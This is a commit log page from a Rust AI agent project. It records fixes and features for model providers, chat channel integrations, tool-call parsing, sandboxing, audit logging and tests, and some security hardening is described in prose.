Commit Graph

1250 Commits

Author SHA1 Message Date
cd slash
5b19502bd9
fix(providers): correct Fireworks AI base URL to include /v1 path (#346)
The Fireworks API endpoint requires /v1/chat/completions, but the
base URL was missing the /v1 path segment, causing 404 errors and
triggering a broken responses fallback.

Fix: Add /v1 to base URL so correct endpoint is built:
  https://api.fireworks.ai/inference/v1/chat/completions
2026-02-16 23:53:34 +08:00
Chummy
e4944a5fc2
feat(cost): add budget tracking core and harden storage reliability (#292) 2026-02-16 23:40:47 +08:00
Chummy
8882746ced
fix(onboard): refresh MiniMax defaults and endpoint (#299) 2026-02-16 23:40:44 +08:00
Chummy
23b0f360c2
fix(composio): align v3 execute path and honor configured entity_id (#322) 2026-02-16 23:40:37 +08:00
Chummy
a403b5f5b1
feat(onboard): add provider model refresh command with TTL cache (#323) 2026-02-16 23:40:33 +08:00
Chummy
80da3e64e9
feat: unify scheduled tasks from #337 and #338 with security-first integration
Unifies scheduled task capabilities and consolidates overlapping implementations from #337 and #338 into a single security-first integration path.\n\nCo-authored-by: Edvard <ecschoye@stud.ntnu.no>\nCo-authored-by: stawky <stakeswky@gmail.com>
2026-02-16 23:38:29 +08:00
Chummy
826f3836c7 fix(test): adapt lark schema assertions to current config fields 2026-02-16 22:57:45 +08:00
stawky
760728d038 feat(channels): add Lark/Feishu IM channel support
Implement Lark/Feishu as a new channel for ZeroClaw (Issue #164).

- Add LarkChannel with Channel trait impl (name, listen, send)
- listen: HTTP server (axum) for event callback with URL verification
  (challenge response) and im.message.receive_v1 text message parsing
- send: POST /open-apis/im/v1/messages with tenant_access_token auth
- get_tenant_access_token with caching and auto-refresh on 401
- Allowlist filtering by open_id (same pattern as other channels)
- Add LarkConfig to schema (app_id, app_secret, verification_token, port, allowed_users)
- Register lark in channel list, doctor, and start_channels
- 18 unit tests: config serde, allowlist, channel name, message parsing,
  edge cases (unicode, missing fields, invalid JSON, wrong event type)
- Fix pre-existing SchedulerConfig compile error on main
2026-02-16 22:54:45 +08:00
Chummy
c842ece12c
feat(onboard): refresh model discovery and canonicalize provider aliases (#341)
* feat(onboard): add model refresh command with ttl cache

* fix(onboard): refresh curated models and canonicalize provider aliases

* fix(channels): align agent_turn call signature

* fix(channels): call run_tool_call_loop for stable channel runtime
2026-02-16 22:32:30 +08:00
Chummy
0995c57776
Merge pull request #321 from stakeswky/feat/model-failover-auth-rotation
feat(providers): model failover chain + API key rotation
2026-02-16 22:27:32 +08:00
Chummy
dea02a6915
Merge pull request #318 from zeroclaw-labs/fix/issue-309-composio-v3-endpoint
fix: update Composio API endpoint from v2 to v3
2026-02-16 22:26:40 +08:00
Will Sarg
b61d33aa1c
feat(dev): add local dockerized ci workflow (#342) 2026-02-16 09:10:39 -05:00
Chummy
8bcb5efa8a fix(ci): align reliable provider tests with ChatResponse 2026-02-16 22:06:40 +08:00
stawky
9a5db46cf7 feat(providers): model failover chain + API key rotation
- Add model_fallbacks and api_keys to ReliabilityConfig
- Implement per-model fallback chain in ReliableProvider
- Add API key rotation on auth failures (401/403)
- Add retry-after header parsing and exponential backoff
- Integrate failover into chat_with_system and chat_with_history
- 20 unit tests covering failover, rotation, and retry logic
2026-02-16 21:59:35 +08:00
Chummy
ef41f2ab10 chore(fmt): format composio conflict-resolution tests 2026-02-16 21:54:19 +08:00
Chummy
593dbb3641 fix(agent): align agent_turn signature with channel provider label 2026-02-16 21:48:49 +08:00
argenis de la rosa
58693ae5a1 fix: update Composio API endpoint from v2 to v3
Fixes #309 - Composio v2 endpoint has been discontinued. Updated to v3
endpoint which is the current supported version.

Composio v2 API is no longer available, causing all Composio tool
executions to fail. This updates the base URL to use v3.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 21:40:22 +08:00
Chummy
fa0c77385c
Merge pull request #266 from chumyin/fix/provider-chatresponse-unification
fix(provider): complete ChatResponse integration across runtime surfaces
2026-02-16 21:21:43 +08:00
Will Sarg
b76a3879a9
fix(ci): mitigate GitHub API rate-limit failures (#334)
* fix(ci): mitigate GitHub API rate-limit failures in workflows

* fix(ci): resolve signature drift blocking Docker smoke
2026-02-16 08:05:52 -05:00
chumyin
dedb465377 test(telegram): ensure newline split case exceeds max length 2026-02-16 19:36:39 +08:00
chumyin
2d6ec2fb71 fix(rebase): resolve PR #266 conflicts against latest main 2026-02-16 19:33:04 +08:00
chumyin
34306e32d8 fix(provider): complete ChatResponse integration across runtime surfaces 2026-02-16 19:18:12 +08:00
chumyin
3b4a4de457 refactor(provider): unify Provider responses with ChatResponse
- Switch Provider trait methods to return structured ChatResponse
- Map OpenAI-compatible tool_calls into shared ToolCall type
- Update reliable/router wrappers and provider tests for new interface
- Make agent loop prefer structured tool calls with text fallback parsing
- Adapt gateway replies to structured responses with safe tool-call fallback
2026-02-16 19:16:22 +08:00
Mgrsc
b3fcdad3b5
fix: use consistent <tool_call> tag in channel system prompt (#305)
The tool use protocol in channels/mod.rs was using <invoke> tags,
but the parser in agent/loop_.rs only recognizes <tool_call> tags.
This ensures consistency across all entry points.
2026-02-16 05:59:40 -05:00
Abdul Samad
4fd1408034
fix(telegram): add message splitting, timeout, and validation fixes (#246)
High-priority fixes:
- Message length validation and splitting (4096 char limit)
- Empty chat_id validation to prevent silent failures
- Health check timeout (5s) to prevent service hangs

Testing infrastructure:
- Comprehensive test suite (20+ automated tests)
- Quick smoke test script
- Test message generator
- Complete testing documentation

All changes are backward compatible.

Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-16 05:59:11 -05:00
mai1015
50f508766f
feat: add verbose logging and complete observability (#251) 2026-02-16 05:59:07 -05:00
Chummy
b5d9f72023
test(channels): neutralize UTF-8 truncation regression fixture (#289)
* test(channels): neutralize UTF-8 truncation regression fixture

* fix(ci): resolve fmt drift and discord test config init
2026-02-16 05:58:35 -05:00
Chummy
49fcc7a2c4
test: deepen and complete project-wide test coverage (#297)
* test: deepen coverage for health doctor provider and tunnels

* test: add broad trait and module re-export coverage
2026-02-16 05:58:24 -05:00
Chummy
79a6f180a8
fix(composio): migrate tool API calls to v3 with v2 fallback (#309) (#310) 2026-02-16 05:58:06 -05:00
Argenis
1530a8707d
feat: add Git operations tool for structured repository management
Implements #214 - Add git_operations tool that provides safe, parsed
git operations with JSON output and security policy integration.

Features:
- Operations: status, diff, log, branch, commit, add, checkout, stash
- Structured JSON output (parsed status, diff hunks, commit history)
- SecurityPolicy integration with autonomy-aware controls
- Command injection protection

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 05:53:29 -05:00
Chummy
2b04ebd2fb
fix(provider): normalize responses fallback
* fix(provider): avoid duplicate /v1 in responses endpoint

* fix(provider): derive precise responses endpoint from configured path
2026-02-16 05:26:01 -05:00
Chummy
85fc12bcf7
feat(browser): add optional rust-native backend via fantoccini
* feat(browser): add optional rust-native automation backend

* style: align channels module with stable rustfmt

* fix(browser): switch rust-native backend to fantoccini

Replace headless_chrome with fantoccini to satisfy license checks and keep browser-native optional. Adds native_webdriver_url wiring, migrates native backend session/actions to WebDriver, updates docs/config defaults, and keeps backend auto-resolution behavior intact.

* test(config): serialize env override tests with lock

Prevent flaky CI failures caused by concurrent environment variable mutation across config env-override tests.

* style: apply rustfmt 1.92 for CI parity

* chore(ci): sync lockfile and rustfmt with current main

Resolve feature table drift after rebasing onto latest main, refresh Cargo.lock for browser-native fantoccini, and apply rustfmt 1.92 formatting required by CI.
2026-02-16 05:25:27 -05:00
Chummy
9d29f30a31
fix(channels): execute tool calls in channel runtime (#302)
* fix(channels): execute tool calls in channel runtime (#302)

* chore(fmt): align repo formatting with rustfmt 1.92
2026-02-16 05:07:01 -05:00
Argenis
efabe9703f
fix: update MiniMax model names to M2.5/M2.1
Fixes #294 - Updates MiniMax model names from the old ABAB 6.5 series to
the current M2.5/M2.1 series.

- Updated wizard model selection for MiniMax provider
- Fixed DiscordConfig test cases to include new listen_to_bots field

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 04:21:44 -05:00
Argenis
0383a82a6f
feat(security): Add Phase 1 security features
* test: add comprehensive recovery tests for agent loop

Add recovery test coverage for all edge cases and failure scenarios
in the agentic loop, addressing the missing test coverage for
recovery use cases.

Tool Call Parsing Edge Cases:
- Empty tool_result tags
- Empty tool_calls arrays
- Whitespace-only tool names
- Empty string arguments

History Management:
- Trimming without system prompt
- Role ordering consistency after trim
- Only system prompt edge case

Arguments Parsing:
- Invalid JSON string fallback
- None arguments handling
- Null value handling

JSON Extraction:
- Empty input handling
- Whitespace only input
- Multiple JSON objects
- JSON arrays

Tool Call Value Parsing:
- Missing name field
- Non-OpenAI format
- Empty tool_calls array
- Missing tool_calls field fallback
- Top-level array format

Constants Validation:
- MAX_TOOL_ITERATIONS bounds (prevent runaway loops)
- MAX_HISTORY_MESSAGES bounds (prevent memory bloat)

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* feat(security): Add Phase 1 security features - sandboxing, resource limits, audit logging

Phase 1 security enhancements with zero impact on the quick setup wizard:
-  Pluggable sandbox trait system (traits.rs)
-  Landlock sandbox support (Linux kernel 5.13+)
-  Firejail sandbox support (Linux user-space)
-  Bubblewrap sandbox support (Linux/macOS user namespaces)
-  Docker sandbox support (container isolation)
-  No-op fallback (application-layer security only)
-  Auto-detection logic (detect.rs)
-  Audit logging with HMAC signing support (audit.rs)
-  SecurityConfig schema (SandboxConfig, ResourceLimitsConfig, AuditConfig)
-  Feature-gated implementation (sandbox-landlock, sandbox-bubblewrap)
-  1,265 tests passing

Key design principles:
- Silent auto-detection: no new prompts in wizard
- Graceful degradation: works on all platforms
- Feature flags: zero overhead when disabled
- Pluggable architecture: swap sandbox backends via config
- Backward compatible: existing configs work unchanged

Config usage:
```toml
[security.sandbox]
enabled = false  # Explicitly disable
backend = "auto"  # auto, landlock, firejail, bubblewrap, docker, none

[security.resources]
max_memory_mb = 512
max_cpu_time_seconds = 60

[security.audit]
enabled = true
log_path = "audit.log"
sign_events = false
```

Security documentation:
- docs/sandboxing.md: Sandbox implementation strategies
- docs/resource-limits.md: Resource limit approaches
- docs/audit-logging.md: Audit logging specification
- docs/security-roadmap.md: 3-phase implementation plan
- docs/frictionless-security.md: Zero-impact wizard design
- docs/agnostic-security.md: Platform/hardware agnostic approach

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 04:14:16 -05:00
Argenis
1140a7887d
feat: add HTTP request tool for API interactions
Implements #210 - Add http_request tool that enables the agent to make
HTTP requests to external APIs.

Features:
- Supports GET, POST, PUT, DELETE, PATCH, HEAD, OPTIONS methods
- JSON request/response handling
- Configurable timeout (default: 30s)
- Configurable max response size (default: 1MB)
- Security: domain allowlist, blocks local/private IPs (SSRF protection)
- Headers support with auth token redaction

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 03:44:42 -05:00
Argenis
9bdbc1287c
fix: add tool use protocol to channel/daemon/gateway system prompts
Fixes #284 - Tool call format was missing from the system prompt in
channel, daemon, and gateway modes. This caused LLMs to not know how
to properly invoke tools when using these modes.

The tool use protocol with <invoke> tags and JSON payload format now
matches the implementation in agent loop mode.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 02:36:21 -05:00
不做了睡大觉
21dc22f249
test(channels): add regression for UTF-8 truncation panic in channel logs (#262) 2026-02-16 02:30:26 -05:00
Vernon Stinebaker
40c41cf3d2
feat(discord): add listen_to_bots config and fix model IDs across codebase (#280)
* fix(config): apply env overrides at runtime and fix Docker compose defaults

- Call apply_env_overrides() after Config::load_or_init() in main.rs so
  environment variables (API_KEY, PROVIDER, ZEROCLAW_GATEWAY_PORT, etc.)
  are actually applied at runtime, not just in tests
- Add ZEROCLAW_ALLOW_PUBLIC_BIND env var support for gateway bind policy
- Fix docker-compose.yml: correct volume path (/zeroclaw-data not /data),
  add ZEROCLAW_ALLOW_PUBLIC_BIND=true for container networking, make host
  port configurable via HOST_PORT env var
- Add docker-compose.override.yml to .gitignore for local dev overrides

* feat(discord): add listen_to_bots config and fix model IDs across codebase

Add listen_to_bots field to DiscordConfig so bot messages are processed
when explicitly enabled (defaults to false for backward compat). Remove
ZEROCLAW_MODEL from Dockerfile release stage so config.toml is the
source of truth for model selection. Fix all hardcoded model IDs from
the dated anthropic/claude-sonnet-4-20250514 to the valid OpenRouter
identifier anthropic/claude-sonnet-4.
2026-02-16 02:13:36 -05:00
Vernon Stinebaker
d5e8fc1652
fix(config): apply env overrides at runtime and fix Docker compose defaults (#279)
- Call apply_env_overrides() after Config::load_or_init() in main.rs so
  environment variables (API_KEY, PROVIDER, ZEROCLAW_GATEWAY_PORT, etc.)
  are actually applied at runtime, not just in tests
- Add ZEROCLAW_ALLOW_PUBLIC_BIND env var support for gateway bind policy
- Fix docker-compose.yml: correct volume path (/zeroclaw-data not /data),
  add ZEROCLAW_ALLOW_PUBLIC_BIND=true for container networking, make host
  port configurable via HOST_PORT env var
- Add docker-compose.override.yml to .gitignore for local dev overrides
2026-02-16 02:12:49 -05:00
Chummy
c481f5298a
fix(channels): process inbound messages concurrently (#267)
Fixes #235
2026-02-16 01:58:01 -05:00
Chummy
3bdabdc7ec
fix(security): enforce action guards in file_write and scheduler (#269) 2026-02-16 01:57:58 -05:00
Chummy
60f3282ad4
fix(security): enforce action budget checks in file_read (#270) 2026-02-16 01:57:56 -05:00
Chummy
2c0664ba1e
fix(email): make IMAP rustls provider selection explicit (#272) 2026-02-16 01:57:53 -05:00
Chummy
89f689c67a
fix(embeddings): normalize custom endpoint path resolution (#276) 2026-02-16 01:57:51 -05:00
Chummy
13f6ed7871
fix(provider): require exact chat endpoint suffix match (#277) 2026-02-16 01:57:48 -05:00
Chummy
ce7f811c0f
fix(provider): validate custom provider URL format and scheme (#281) 2026-02-16 01:57:43 -05:00
不做了睡大觉
b2810765a8
feat(agent): add auto-compaction before history trimming (#282) 2026-02-16 01:57:40 -05:00
Argenis
0e0b3644a8
feat(config): add Lark/Feishu channel config support
* feat(config): add Lark/Feishu channel config support

- Add LarkConfig struct with app_id, app_secret, encrypt_key, verification_token, allowed_users, use_feishu fields
- Add lark field to ChannelsConfig
- Export LarkConfig in config/mod.rs
- Add 5 tests for LarkConfig serialization/deserialization

Related to #164

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: apply cargo fmt formatting

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 00:16:04 -05:00
Argenis
c8ca6ff059
feat: agent-to-agent handoff and delegation
* feat: add agent-to-agent delegation tool

Add `delegate` tool enabling multi-agent workflows where a primary agent
can hand off subtasks to specialized sub-agents with different
provider/model configurations.

- New `DelegateAgentConfig` in config schema with provider, model,
  system_prompt, api_key, temperature, and max_depth fields
- `delegate` tool with recursion depth limits to prevent infinite loops
- Agents configured via `[agents.<name>]` TOML sections
- Sub-agents use `ReliableProvider` with fallback API key support
- Backward-compatible: empty agents map when section is absent

Closes #218

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: encrypt agent API keys and tighten delegation input validation

Address CodeRabbit review comments on PR #224:

1. Agent API key encryption (schema.rs):
   - Config::load_or_init() now decrypts agents.*.api_key via SecretStore
   - Config::save() encrypts plaintext agent API keys before writing
   - Updated doc comment to document encryption behavior
   - Added tests for encrypt-on-save and plaintext-when-disabled

2. Delegation input validation (delegate.rs):
   - Added "additionalProperties": false to schema
   - Added "minLength": 1 for agent and prompt fields
   - Trim agent/prompt/context inputs, reject empty after trim
   - Added tests for blank agent, blank prompt, whitespace trimming

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(delegate): replace mutable depth counter with immutable field

- Replace `current_depth: Arc<AtomicU32>` with `depth: u32` set at
  construction time, eliminating TOCTOU race and cancel/panic safety
  issues from fetch_add/fetch_sub pattern
- When sub-agents get their own tool registry, construct via
  `with_depth(agents, key, parent.depth + 1)` for proper propagation
- Add tokio::time::timeout (120s) around provider calls to prevent
  indefinite blocking from misbehaving sub-agent providers
- Rename misleading test whitespace_agent_name_not_found →
  whitespace_agent_name_trimmed_and_found

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* style: fix rustfmt formatting issues

Fixed all formatting issues reported by cargo fmt to pass CI lint checks.
- Line length adjustments
- Chain formatting consistency
- Trailing whitespace cleanup

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

---------

Co-authored-by: Edvard <ecschoye@stud.ntnu.no>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 23:56:42 -05:00
Chummy
e04e7191ac
fix(agent): robust tool-call parsing for noisy model outputs
Improve tool-call parsing to handle noisy local-model outputs (markdown fenced JSON, conversational wrappers, and raw JSON tool objects) and add regression coverage for these cases.

Also sync rustfmt-required formatting and align crate-level clippy allow-list with Rust 1.92 CI pedantic checks so required lint gates pass consistently.

Co-authored-by: chumyin <chumyin@users.noreply.github.com>
Co-authored-by: argenis de la rosa <theonlyhennygod@gmail.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 23:21:26 -05:00
Chummy
b442a07530
fix(memory): prevent autosave key collisions across runtime flows
Fixes #221 - SQLite Memory Override bug.

This PR resolves memory overwrite behavior in autosave paths by replacing fixed memory keys with unique keys, and improves short-horizon recall quality in channel runtime.

**Root Cause**
SQLite memory uses a unique constraint on `memories.key` and writes with `ON CONFLICT(key) DO UPDATE`.
Several autosave paths reused fixed keys (or sender-stable keys), so newer messages overwrote earlier conversation entries.

**Changes**
- Channel runtime: autosave key changed from `channel_sender` to `channel_sender_messageId`
- Added memory-context injection before provider calls (aligned with agent loop behavior)
- Agent loop: autosave keys changed from fixed `user_msg`/`assistant_resp` to UUID-suffixed keys
- Gateway: Webhook/WhatsApp autosave keys changed to UUID-suffixed keys

All CI checks passing.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 22:55:52 -05:00
Chummy
03c3ded5ef fix(discord): enforce 2000-character message chunks
Discord rejects message content longer than 2000 characters with 50035 Invalid Form Body.

This change updates Discord message chunking to:
- enforce a 2000-character hard limit
- split on UTF-8 character boundaries (no byte-boundary slicing)
- keep newline/space-aware split behavior
- add regression tests for multibyte content and chunk size guarantees

Fixes #235
2026-02-16 10:52:54 +08:00
Argenis
68325198e8
Merge pull request #248 from zeroclaw-labs/feat/discord-typing-indicator
feat(channel): add typing indicator for Discord
2026-02-15 21:22:34 -05:00
argenis de la rosa
7456692e9c fix: pass OpenAI-style tool_calls from provider to parser
The OpenAI-compatible provider was not properly handling tool_calls
in API responses. When providers like MiniMax return tool_calls in
OpenAI's native format, the provider was only extracting the content
field and discarding the tool_calls.

Changes:
- Update ResponseMessage struct to include optional tool_calls field
- Add ToolCall and Function structs for deserializing tool_calls
- Serialize full message as JSON when tool_calls are present
- Fall back to plain content when no tool_calls

This allows the parse_tool_calls function in the agent loop to
properly handle OpenAI-style tool_calls format.

All 1080 tests pass.

Related to #226

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 20:56:36 -05:00
Argenis
3014926687
fix(providers): correct GLM API base URL to /api/paas/v4
* fix: add OpenAI-style tool_calls support for MiniMax and other providers

MiniMax and some other providers return tool calls in OpenAI's native
JSON format instead of ZeroClaw's XML-style <invoke> tag format.

This fix adds support for parsing OpenAI-style tool_calls:
- {"tool_calls": [{"type": "function", "function": {"name": "...", "arguments": "{...}"}}]}

The parser now:
1. First tries to parse as OpenAI-style JSON with tool_calls array
2. Falls back to ZeroClaw's original <invoke> tag format
3. Correctly handles the nested JSON string in the arguments field

Added 3 new tests covering:
- Single tool call in OpenAI format
- Multiple tool calls in OpenAI format
- Tool calls without content field

Fixes #226

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(providers): correct GLM API base URL to /api/paas/v4

The GLM (Zhipu) provider was using the incorrect base URL
`https://open.bigmodel.cn/api/paas` which resulted in 404 errors
when making API calls. The correct endpoint is
`https://open.bigmodel.cn/api/paas/v4`.

This fixes issue #238 where the agent would appear unresponsive
when using GLM-5 as the default model.

The fix aligns with the existing test `chat_completions_url_glm`
which already expected the correct v4 endpoint.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 20:21:19 -05:00
jereanon
2f78c5e1b7 feat(channel): add typing indicator for Discord
Spawns a repeating task that fires the Discord typing endpoint every
8 seconds while the LLM processes a response. Adds start_typing and
stop_typing to the Channel trait with default no-op impls so other
channels can opt in later.
2026-02-15 15:34:10 -07:00
Argenis
a04716d86c
fix: split Discord messages over 4000 characters
Fixes #223
2026-02-15 16:35:10 -05:00
haeli05
dc215c6bc0
feat: add WhatsApp and Email channel integrations
Adds WhatsApp (Cloud API) and Email (IMAP/SMTP) as new channels.

**WhatsApp Channel (`src/channels/whatsapp.rs`)**
- Meta Business Cloud API v18.0
- Webhook verification (hub.challenge flow)
- Inbound text, image, and document messages
- Outbound text via Cloud API
- Phone number allowlist with rate limiting
- Health check against API
- X-Hub-Signature-256 webhook signature verification

**Email Channel (`src/channels/email_channel.rs`)**
- IMAP over TLS (rustls) for inbound polling
- SMTP via lettre with STARTTLS for sending
- Sender allowlist (specific address, @domain, * wildcard)
- HTML stripping for clean text extraction
- Duplicate message detection
- Configurable poll interval and folder

All 906 tests pass.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 16:21:24 -05:00
junbaor
3b7a140aad
feat(telegram): add typing indicator when receiving messages
- Send 'typing' chat action immediately upon receiving a message
- Improves user experience by showing the bot is processing
- Telegram displays '...is typing' indicator while the AI generates response
- Gracefully ignores errors to avoid breaking message handling

Previously, there was no typing indicator implementation, causing
users to wait without feedback during AI response generation.
2026-02-15 15:02:36 -05:00
Nakano Kenji
021d03eb0b
fix(discord): add DIRECT_MESSAGES intent to enable DM support
* fix(discord): add DIRECT_MESSAGES intent to enable DM support

* fix(discord): allow DMs to bypass guild_id filter

---------

Co-authored-by: Moeblack <moeblack@example.com>
2026-02-15 15:00:11 -05:00
Edvard Schøyen
9b2f90018c
feat: add screenshot and image_info vision tools
* feat: add screenshot and image_info vision tools

Add two new tools for visual capabilities:

- `screenshot`: captures screen using platform-native commands
  (screencapture on macOS, gnome-screenshot/scrot/import on Linux),
  returns file path + base64-encoded PNG data
- `image_info`: reads image metadata (format, dimensions, size) from
  header bytes without external deps, optionally returns base64 data
  for future multimodal provider support

Both tools are registered in the tool registry and agent system prompt.
Includes 24 inline tests covering format detection, dimension extraction,
schema validation, and execution edge cases.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: resolve unused variable warning after rebase

Prefix unused `resolved_key` with underscore to suppress compiler
warning introduced by upstream changes. Update Cargo.lock.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: address review comments on vision tools

Security fixes:
- Fix JPEG parser infinite loop on malformed zero-length segments
- Add workspace path restriction to ImageInfoTool (prevents arbitrary
  file exfiltration via include_base64)
- Quote paths in Linux screenshot shell commands to prevent injection
- Add autonomy-level check in ScreenshotTool::execute

Robustness:
- Add file size guard in read_and_encode before loading into memory
- Wire resolve_api_key through all provider match arms (was dead code)
- Gate screenshot_command_exists test on macOS/Linux only
- Infer MIME type from file extension instead of hardcoding image/png

Tests:
- Add JPEG dimension extraction test
- Add JPEG malformed zero-length segment test

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: argenis de la rosa <theonlyhennygod@gmail.com>
2026-02-15 14:53:56 -05:00
Edvard Schøyen
0f6648ceb1
feat: add OpenTelemetry tracing and metrics observer
* feat: add OpenTelemetry tracing and metrics observer

Add OtelObserver that exports traces and metrics via OTLP HTTP/protobuf
to any OpenTelemetry-compatible collector (Jaeger, Grafana Tempo, etc.).

- ObserverEvents map to OTel spans (AgentEnd, ToolCall, Error) and
  metric counters (AgentStart, ChannelMessage, HeartbeatTick)
- ObserverMetrics map to OTel histograms and gauges
- Spans include proper timing via SpanBuilder.with_start_time
- Config: backend="otel", otel_endpoint, otel_service_name
- Accepts "otel", "opentelemetry", "otlp" as backend aliases
- Graceful fallback to NoopObserver on init failure

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: resolve unused variable warning and update Cargo.lock

Prefix unused `resolved_key` with underscore to suppress clippy
warning introduced by upstream changes. Regenerate Cargo.lock
after rebase on main.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: address review comments on OTel observer

- Fix metric types: use Gauge for ActiveSessions/QueueDepth (absolute
  readings, not deltas), Counter<u64> for TokensUsed (monotonic)
- Remove duplicate token recording from AgentEnd event handler
  (TokensUsed metric via record_metric is the canonical path)
- Store meter_provider in struct so flush() exports both traces
  and metrics (was silently dropping metrics on shutdown)

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: argenis de la rosa <theonlyhennygod@gmail.com>
2026-02-15 14:46:49 -05:00
Edvard Schøyen
89b1ec6fa2
feat: add multi-turn conversation history and tool execution
* feat: add multi-turn conversation history and tool execution

Major enhancement to the agent loop:

**Multi-turn conversation:**
- Add `ChatMessage` type with system/user/assistant constructors
- Add `chat_with_history` method to Provider trait (default impl
  delegates to `chat_with_system` for backward compatibility)
- Implement native `chat_with_history` on OpenRouter, Compatible,
  Reliable, and Router providers to send full message history
- Interactive mode now maintains persistent history across turns

**Tool execution:**
- Agent loop now parses `<tool_call>` XML tags from LLM responses
- Executes tools from the registry and feeds results back as
  `<tool_result>` messages
- Agentic loop continues until LLM produces final text (no tool calls)
- MAX_TOOL_ITERATIONS (10) safety limit prevents runaway loops
- System prompt includes structured tool-use protocol with JSON schemas

**Types:**
- `ChatMessage`, `ChatResponse`, `ToolCall`, `ToolResultMessage`,
  `ConversationMessage` — full conversation modeling types

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: address review comments on multi-turn + tool execution

- Add history sliding window (MAX_HISTORY_MESSAGES=50) to prevent
  unbounded conversation history growth in interactive mode
- Add 404→Responses API fallback in compatible.rs chat_with_history,
  matching chat_with_system behavior
- Use super::api_error() for error sanitization in compatible.rs
  instead of raw error body (prevents secret leakage)
- Add missing operational logs in reliable.rs chat_with_history:
  recovery, non-retryable, fallback switch warnings
- Add trim_history tests

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: address second round of review comments

- Sanitize raw error text in compatible.rs chat_with_system using
  sanitize_api_error (prevents leaking secrets in error messages)
- Add chat_with_history to MockProvider in reliable.rs tests so
  the retry/fallback path is exercised end-to-end
- Add chat_with_history_retries_then_recovers and
  chat_with_history_falls_back tests
- Log warning on malformed <tool_call> JSON instead of silent drop
- Flush stdout after print! in agent_turn so output appears before
  tool execution on line-buffered terminals
- Make interactive mode resilient to transient errors (continue
  loop instead of terminating session)

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 14:43:02 -05:00
Leonardo Gonzalez
92c42dc24d
build: pin Rust toolchain to 1.92 for reliable builds
* build: pin Rust toolchain to 1.92 for reliable builds

* feat(onboard): add GLM-5 as selectable Zhipu model

* fix(onboard): map zhipu alias to GLM model selections

* fix(onboard): map zhipu alias to GLM model selections

* fix(onboard): show model options for Z.AI provider
2026-02-15 14:36:18 -05:00
Edvard Schøyen
49bb20f961
fix(providers): use Bearer auth for Gemini CLI OAuth tokens
* fix(providers): use Bearer auth for Gemini CLI OAuth tokens

When credentials come from ~/.gemini/oauth_creds.json (Gemini CLI),
send them as Authorization: Bearer header instead of ?key= query
parameter. API keys from env vars or config continue using ?key=.

Fixes #194

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* refactor(gemini): harden OAuth bearer auth flow and tests

* fix(gemini): granular auth source tracking and review fixes

Build on chumyin's auth model refactor with:
- Expand GeminiAuth to 4 variants (ExplicitKey/EnvGeminiKey/EnvGoogleKey/
  OAuthToken) so auth_source() uses stored discriminant without re-reading
  env vars at call time
- Add is_api_key()/credential() helpers on the enum
- Upgrade expired OAuth token log from debug to warn
- Add tests: provider_rejects_empty_key, auth_source_explicit_key,
  auth_source_none_without_credentials

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* style: apply rustfmt to fix CI lint failures

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: root <root@instance-20220913-1738.vcn09131738.oraclevcn.com>
Co-authored-by: argenis de la rosa <theonlyhennygod@gmail.com>
2026-02-15 14:32:33 -05:00
Edvard Schøyen
e057bf4128
fix: remove unused import and correct WhatsApp/Email registry status
- Remove unused `std::fmt::Write` import in `load_openclaw_bootstrap_files`
  (eliminates compiler warning)
- Update WhatsApp integration status from ComingSoon to config-driven
  (implementation exists in channels/whatsapp.rs)
- Update Email integration status from ComingSoon to config-driven
  (implementation exists in channels/email_channel.rs)
- Update tests to reflect corrected integration statuses

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 14:28:44 -05:00
Argenis
dca95cac7a
fix: add channel message timeouts, Telegram fallback, and fix identity/observer tests
Closes #184
2026-02-15 12:31:40 -05:00
Chummy
b0e1e32819
feat(config): make config writes atomic with rollback-safe replacement (#190)
* feat(runtime): add Docker runtime MVP and runtime-aware command builder

* feat(security): add shell risk classification, approval gates, and action throttling

